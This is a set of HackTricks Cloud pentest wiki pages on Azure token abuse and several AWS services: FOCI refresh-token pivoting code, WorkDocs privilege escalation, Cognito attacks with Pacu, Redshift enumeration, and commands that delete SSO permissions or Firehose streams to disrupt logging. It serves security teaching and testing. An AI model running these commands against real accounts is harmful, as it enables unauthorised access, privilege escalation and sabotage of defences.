Used to **get new access and ID tokens**. It is bound to a specific combination of user and client and can be revoked. Default expiry is **90 days** for inactive refresh tokens and **no expiry for active tokens** (be from a refresh token is possible to get new refresh tokens). * A refresh token should be tied to an **`aud`** , to some **scopes**, and to a **tenant** and it should only be able to generate access tokens for that aud, scopes (and no more) and tenant. However, this is not the case with **FOCI applications tokens**. * A refresh token is encrypted and only Microsoft can decrypt it. * Getting a new refresh token doesn't revoke the previous refresh token. warning Information for **conditional access** is **stored** inside the **JWT**. So, if you request the **token from an allowed IP address**, that **IP** will be **stored** in the token and then you can use that token from a **non-allowed IP to access the resources**. The field indicated in the "aud" field is the **resource server** (the application) used to perform the login. The command `az account get-access-token --resource-type [...]` supports the following types and each of them will add a specific "aud" in the resulting access token: caution Note that the following are just the APIs supported by `az account get-access-token` but there are more. aud examples * **aad-graph (Azure Active Directory Graph API)**: Used to access the legacy Azure AD Graph API (deprecated), which allows applications to read and write directory data in Azure Active Directory (Azure AD). * `https://graph.windows.net/` * **arm (Azure Resource Manager)**: Used to manage Azure resources through the Azure Resource Manager API. This includes operations like creating, updating, and deleting resources such as virtual machines, storage accounts, and more. * `https://management.core.windows.net/ or https://management.azure.com/` * **batch (Azure Batch Services)**: Used to access Azure Batch, a service that enables large-scale parallel and high-performance computing applications efficiently in the cloud. * `https://batch.core.windows.net/` * **data-lake (Azure Data Lake Storage)**: Used to interact with Azure Data Lake Storage Gen1, which is a scalable data storage and analytics service. * `https://datalake.azure.net/` * **media (Azure Media Services)**: Used to access Azure Media Services, which provide cloud-based media processing and delivery services for video and audio content. * `https://rest.media.azure.net` * **ms-graph (Microsoft Graph API)**: Used to access the Microsoft Graph API, the unified endpoint for Microsoft 365 services data. It allows you to access data and insights from services like Azure AD, Office 365, Enterprise Mobility, and Security services. * `https://graph.microsoft.com` * **oss-rdbms (Azure Open Source Relational Databases)**: Used to access Azure Database services for open-source relational database engines like MySQL, PostgreSQL, and MariaDB. * `https://ossrdbms-aad.database.windows.net` The scope of an access token is stored inside the scp key inside the access token JWT. These scopes define what the access token has access to. If a JWT is allowed to contact an specific API but **doesn't have the scope** to perform the requested action, it **won't be able to perform the action** with that JWT. python # Code example from https://github.com/secureworks/family-of-client-ids-research import msal import requests import jwt from pprint import pprint from typing import Any, Dict, List # LOGIN VIA CODE FLOW AUTHENTICATION azure_cli_client = msal.PublicClientApplication( "04b07795-8ddb-461a-bbee-02f9e1bf7b46" # ID for Azure CLI client ) device_flow = azure_cli_client.initiate_device_flow( scopes=["https://graph.microsoft.com/.default"] ) print(device_flow["message"]) # Perform device code flow authentication azure_cli_bearer_tokens_for_graph_api = azure_cli_client.acquire_token_by_device_flow( device_flow ) pprint(azure_cli_bearer_tokens_for_graph_api) # DECODE JWT def decode_jwt(base64_blob: str) -> Dict[str, Any]: """Decodes base64 encoded JWT blob""" return jwt.decode( base64_blob, options={"verify_signature": False, "verify_aud": False} ) decoded_access_token = decode_jwt( azure_cli_bearer_tokens_for_graph_api.get("access_token") ) pprint(decoded_access_token) # GET NEW ACCESS TOKEN AND REFRESH TOKEN new_azure_cli_bearer_tokens_for_graph_api = ( # Same client as original authorization azure_cli_client.acquire_token_by_refresh_token( azure_cli_bearer_tokens_for_graph_api.get("refresh_token"), # Same scopes as original authorization scopes=["https://graph.microsoft.com/.default"], ) ) pprint(new_azure_cli_bearer_tokens_for_graph_api) * **appid**: Application ID used to generate the token * **appidacr**: The Application Authentication Context Class Reference indicates how the client was authenticated, for a public client the value is 0, and if a client secret is used the value is 1 * **acr**: The Authentication Context Class Reference claim is "0" when the end-user authentication did not meet the requirements of ISO/IEC 29115. * **amr**: The Authentication method indicates how the token was authenticated. A value of “pwd” indicates that a password was used. * **groups**: Indicates the groups where the principal is a member. * **iss**: The issues identifies the security token service (STS) that generated the token. e.g. https://sts.windows.net/fdd066e1-ee37-49bc-b08f-d0e152119b04/ (the uuid is the tenant ID) * **oid**: The object ID of the principal * **tid**: Tenant ID * **iat, nbf, exp**: Issued at (when it was issued), Not before (cannot be used before this time, usually same value as iat), Expiration time. Previously it was mentioned that refresh tokens should be tied to the **scopes** it was generated with, to the **application** and **tenant** it was generated to. If any of these boundaries is broken, it's possible to escalate privileges as it will be possible to generate access tokens to other resources and tenants the user has access to and with more scopes than it was originally intended. Moreover, **this is possible with all refresh tokens** in the [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (Microsoft Entra accounts, Microsoft personal accounts, and social accounts like Facebook and Google) because as the [**docs**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) mention: "Refresh tokens are bound to a combination of user and client, but **aren't tied to a resource or tenant**. A client can use a refresh token to acquire access tokens **across any combination of resource and tenant** where it has permission to do so. Refresh tokens are encrypted and only the Microsoft identity platform can read them." Moreover, note that the FOCI applications are public applications, so **no secret is needed** to authenticate to the server. Then known FOCI clients reported in the [**original research**](https://github.com/secureworks/family-of-client-ids-research/tree/main) can be [**found here**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv) . Following with the previous example code, in this code it's requested a new token for a different scope: python # Code from https://github.com/secureworks/family-of-client-ids-research azure_cli_bearer_tokens_for_outlook_api = ( # Same client as original authorization azure_cli_client.acquire_token_by_refresh_token( new_azure_cli_bearer_tokens_for_graph_api.get( "refresh_token" ), # But different scopes than original authorization scopes=[\ "https://outlook.office.com/.default"\ ], ) ) pprint(azure_cli_bearer_tokens_for_outlook_api) python # Code from https://github.com/secureworks/family-of-client-ids-research microsoft_office_client = msal.PublicClientApplication("d3590ed6-52b3-4102-aeff-aad2292ab01c") microsoft_office_bearer_tokens_for_graph_api = ( # This is a different client application than we used in the previous examples microsoft_office_client.acquire_token_by_refresh_token( # But we can use the refresh token issued to our original client application azure_cli_bearer_tokens_for_outlook_api.get("refresh_token"), # And request different scopes too scopes=["https://graph.microsoft.com/.default"], ) ) # How is this possible? pprint(microsoft_office_bearer_tokens_for_graph_api) * [https://github.com/secureworks/family-of-client-ids-research](https://github.com/secureworks/family-of-client-ids-research) * [https://github.com/Huachao/azure-content/blob/master/articles/active-directory/active-directory-token-and-claims.md](https://github.com/Huachao/azure-content/blob/master/articles/active-directory/active-directory-token-and-claims.md) tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # AWS - WorkDocs Privesc - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 1 minute For more info about WorkDocs check: [AWS - Directory Services / WorkDocs Enum](../aws-services/aws-directory-services-workdocs-enum.html) Create a user inside the Directory indicated, then you will have access to both WorkDocs and AD: bash # Create user (created inside the AD) aws workdocs create-user --username testingasd --given-name testingasd --surname testingasd --password --email-address name@directory.domain --organization-id The files might contain sensitive information, read them: bash # Get what was created in the directory aws workdocs describe-activities --organization-id # Get what each user has created aws workdocs describe-activities --user-id "S-1-5-21-377..." # Get file (a url to access with the content will be retreived) aws workdocs get-document --document-id If you don't have access to read something, you can just grant it bash # Add permission so anyway can see the file aws workdocs add-resource-permissions --resource-id --principals Id=anonymous,Type=ANONYMOUS,Role=VIEWER ## This will give an id, the file will be acesible in: https://.awsapps.com/workdocs/index.html#/share/document/ You can make a user admin by setting it in the group ZOCALO\_ADMIN. For that follow the instructions from [https://docs.aws.amazon.com/workdocs/latest/adminguide/manage\_set\_admin.html](https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html) Login with that user in workdoc and access the admin panel in `/workdocs/index.html#/admin` I didn't find any way to do this from the cli. --- # AWS - Cognito Unauthenticated Enum - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 3 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. Cognito is an AWS service that enable developers to **grant their app users access to AWS services**. Developers will grant **IAM roles to authenticated users** in their app (potentially people willbe able to just sign up) and they can also grant an **IAM role to unauthenticated users**. For basic info about Cognito check: [AWS - Cognito Enum](../aws-services/aws-cognito-enum/index.html) Identity Pools can grant **IAM roles to unauthenticated users** that just **know the Identity Pool ID** (which is fairly common to **find**), and attacker with this info could try to **access that IAM rol**e and exploit it. Moreoever, IAM roles could also be assigned to **authenticated users** that access the Identity Pool. If an attacker can **register a user** or already has **access to the identity provider** used in the identity pool you could access to the **IAM role being given to authenticated** users and abuse its privileges. [**Check how to do that here**](../aws-services/aws-cognito-enum/cognito-identity-pools.html) . By default Cognito allows to **register new user**. Being able to register a user might give you **access** to the **underlaying application** or to the **authenticated IAM access role of an Identity Pool** that is accepting as identity provider the Cognito User Pool. [**Check how to do that here**](../aws-services/aws-cognito-enum/cognito-user-pools.html#registration) . [Pacu](https://github.com/RhinoSecurityLabs/pacu) , the AWS exploitation framework, now includes the "cognito\_\_enum" and "cognito\_\_attack" modules that automate enumeration of all Cognito assets in an account and flag weak configurations, user attributes used for access control, etc., and also automate user creation (including MFA support) and privilege escalation based on modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, etc. For a description of the modules' functions see part 2 of the [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2) . For installation instructions see the main [Pacu](https://github.com/RhinoSecurityLabs/pacu) page. Sample `cognito__attack` usage to attempt user creation and all privesc vectors against a given identity pool and user pool client: bash Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX Sample cognito\_\_enum usage to gather all user pools, user pool clients, identity pools, users, etc. visible in the current AWS account: bash Pacu (new:test) > run cognito__enum tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # AWS - Redshift Enum - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 6 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. Redshift is a fully managed service that can scale up to over a petabyte in size, which is used as a **data warehouse for big data solutions**. Using Redshift clusters, you are able to run analytics against your datasets using fast, SQL-based query tools and business intelligence applications to gather greater understanding of vision for your business. **Redshift offers encryption at rest using a four-tired hierarchy of encryption keys using either KMS or CloudHSM to manage the top tier of keys**. **When encryption is enabled for your cluster, it can't be disable and vice versa**. When you have an unencrypted cluster, it can't be encrypted. Encryption for your cluster can only happen during its creation, and once encrypted, the data, metadata, and any snapshots are also encrypted. The tiering level of encryption keys are as follows, **tier one is the master key, tier two is the cluster encryption key, the CEK, tier three, the database encryption key, the DEK, and finally tier four, the data encryption keys themselves**. During the creation of your cluster, you can either select the **default KMS key** for Redshift or select your **own CMK**, which gives you more flexibility over the control of the key, specifically from an auditable perspective. The default KMS key for Redshift is automatically created by Redshift the first time the key option is selected and used, and it is fully managed by AWS. This KMS key is then encrypted with the CMK master key, tier one. This encrypted KMS data key is then used as the cluster encryption key, the CEK, tier two. This CEK is then sent by KMS to Redshift where it is stored separately from the cluster. Redshift then sends this encrypted CEK to the cluster over a secure channel where it is stored in memory. Redshift then requests KMS to decrypt the CEK, tier two. This decrypted CEK is then also stored in memory. Redshift then creates a random database encryption key, the DEK, tier three, and loads that into the memory of the cluster. The decrypted CEK in memory then encrypts the DEK, which is also stored in memory. This encrypted DEK is then sent over a secure channel and stored in Redshift separately from the cluster. Both the CEK and the DEK are now stored in memory of the cluster both in an encrypted and decrypted form. The decrypted DEK is then used to encrypt data keys, tier four, that are randomly generated by Redshift for each data block in the database. You can use AWS Trusted Advisor to monitor the configuration of your Amazon S3 buckets and ensure that bucket logging is enabled, which can be useful for performing security audits and tracking usage patterns in S3. Using Redshift with CloudHSM When working with CloudHSM to perform your encryption, firstly you must set up a trusted connection between your HSM client and Redshift while using client and server certificates. This connection is required to provide secure communications, allowing encryption keys to be sent between your HSM client and your Redshift clusters. Using a randomly generated private and public key pair, Redshift creates a public client certificate, which is encrypted and stored by Redshift. This must be downloaded and registered to your HSM client, and assigned to the correct HSM partition. You must then configure Redshift with the following details of your HSM client: the HSM IP address, the HSM partition name, the HSM partition password, and the public HSM server certificate, which is encrypted by CloudHSM using an internal master key. Once this information has been provided, Redshift will confirm and verify that it can connect and access development partition. If your internal security policies or governance controls dictate that you must apply key rotation, then this is possible with Redshift enabling you to rotate encryption keys for encrypted clusters, however, you do need to be aware that during the key rotation process, it will make a cluster unavailable for a very short period of time, and so it's best to only rotate keys as and when you need to, or if you feel they may have been compromised. During the rotation, Redshift will rotate the CEK for your cluster and for any backups of that cluster. It will rotate a DEK for the cluster but it's not possible to rotate a DEK for the snapshots stored in S3 that have been encrypted using the DEK. It will put the cluster into a state of 'rotating keys' until the process is completed when the status will return to 'available'. bash # Get clusters aws redshift describe-clusters ## Get if publicly accessible aws redshift describe-clusters | jq -r ".Clusters[].PubliclyAccessible" ## Get DB username to login aws redshift describe-clusters | jq -r ".Clusters[].MasterUsername" ## Get endpoint aws redshift describe-clusters | jq -r ".Clusters[].Endpoint" ## Public addresses of the nodes aws redshift describe-clusters | jq -r ".Clusters[].ClusterNodes[].PublicIPAddress" ## Get IAM roles of the clusters aws redshift describe-clusters | jq -r ".Clusters[].IamRoles" # Endpoint access & authorization aws redshift describe-endpoint-access aws redshift describe-endpoint-authorization # Get credentials aws redshift get-cluster-credentials --db-user --cluster-identifier ## By default, the temporary credentials expire in 900 seconds. You can optionally specify a duration between 900 seconds (15 minutes) and 3600 seconds (60 minutes). aws redshift get-cluster-credentials-with-iam --cluster-identifier ## Gives creds to access redshift with the IAM redshift permissions given to the current AWS account ## More in https://docs.aws.amazon.com/redshift/latest/mgmt/redshift-iam-access-control-identity-based.html # Authentication profiles aws redshift describe-authentication-profiles # Snapshots aws redshift describe-cluster-snapshots # Scheduled actions aws redshift describe-scheduled-actions # Connect # The redshift instance must be publicly available (not by default), the sg need to allow inbounds connections to the port and you need creds psql -h redshift-cluster-1.sdflju3jdfkfg.us-east-1.redshift.amazonaws.com -U admin -d dev -p 5439 [AWS - Redshift Privesc](../aws-privilege-escalation/aws-redshift-privesc.html) The following actions allow to grant access to other AWS accounts to the cluster: * [authorize-endpoint-access](https://docs.aws.amazon.com/cli/latest/reference/redshift/authorize-endpoint-access.html) * [authorize-snapshot-access](https://docs.aws.amazon.com/cli/latest/reference/redshift/authorize-snapshot-access.html) tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # AWS - SSO & identitystore Post Exploitation - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 2 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. For more information check: [AWS - IAM, Identity Center & SSO Enum](../aws-services/aws-iam-enum.html) These permissions can be used to disrupt permissions: bash aws sso-admin delete-permission-set --instance-arn --permission-set-arn aws sso-admin put-permissions-boundary-to-permission-set --instance-arn --permission-set-arn --permissions-boundary-policy-arn aws sso-admin delete-account-assignment --instance-arn --target-id --target-type --permission-set-arn --principal-type --principal-id tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # AWS - Kinesis Data Firehose Enum - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 2 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. Amazon Kinesis Data Firehose is a **fully managed service** that facilitates the delivery of **real-time streaming data**. It supports a variety of destinations, including Amazon Simple Storage Service (Amazon S3), Amazon Redshift, Amazon OpenSearch Service, Splunk, and custom HTTP endpoints. The service alleviates the need for writing applications or managing resources by allowing data producers to be configured to forward data directly to Kinesis Data Firehose. This service is responsible for the **automatic delivery of data to the specified destination**. Additionally, Kinesis Data Firehose provides the option to **transform the data prior to its delivery**, enhancing its flexibility and applicability to various use cases. bash # Get delivery streams aws firehose list-delivery-streams # Get stream info aws firehose describe-delivery-stream --delivery-stream-name ## Get roles aws firehose describe-delivery-stream --delivery-stream-name | grep -i RoleARN In case firehose is used to send logs or defense insights, using these functionalities an attacker could prevent it from working properly. aws firehose delete-delivery-stream --delivery-stream-name --allow-force-delete aws firehose update-destination --delivery-stream-name --current-delivery-stream-version-id --destination-id aws firehose put-record --delivery-stream-name my-stream --record '{"Data":"SGVsbG8gd29ybGQ="}' aws firehose put-record-batch --delivery-stream-name my-stream --records file://records.json * [https://docs.amazonaws.cn/en\_us/firehose/latest/dev/what-is-this-service.html](https://docs.amazonaws.cn/en_us/firehose/latest/dev/what-is-this-service.html) tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # AWS - VPN Post Exploitation - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 1 minute tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. For more information: [AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum](../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/index.html) tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # Az - VMs Unauth - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 2 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks 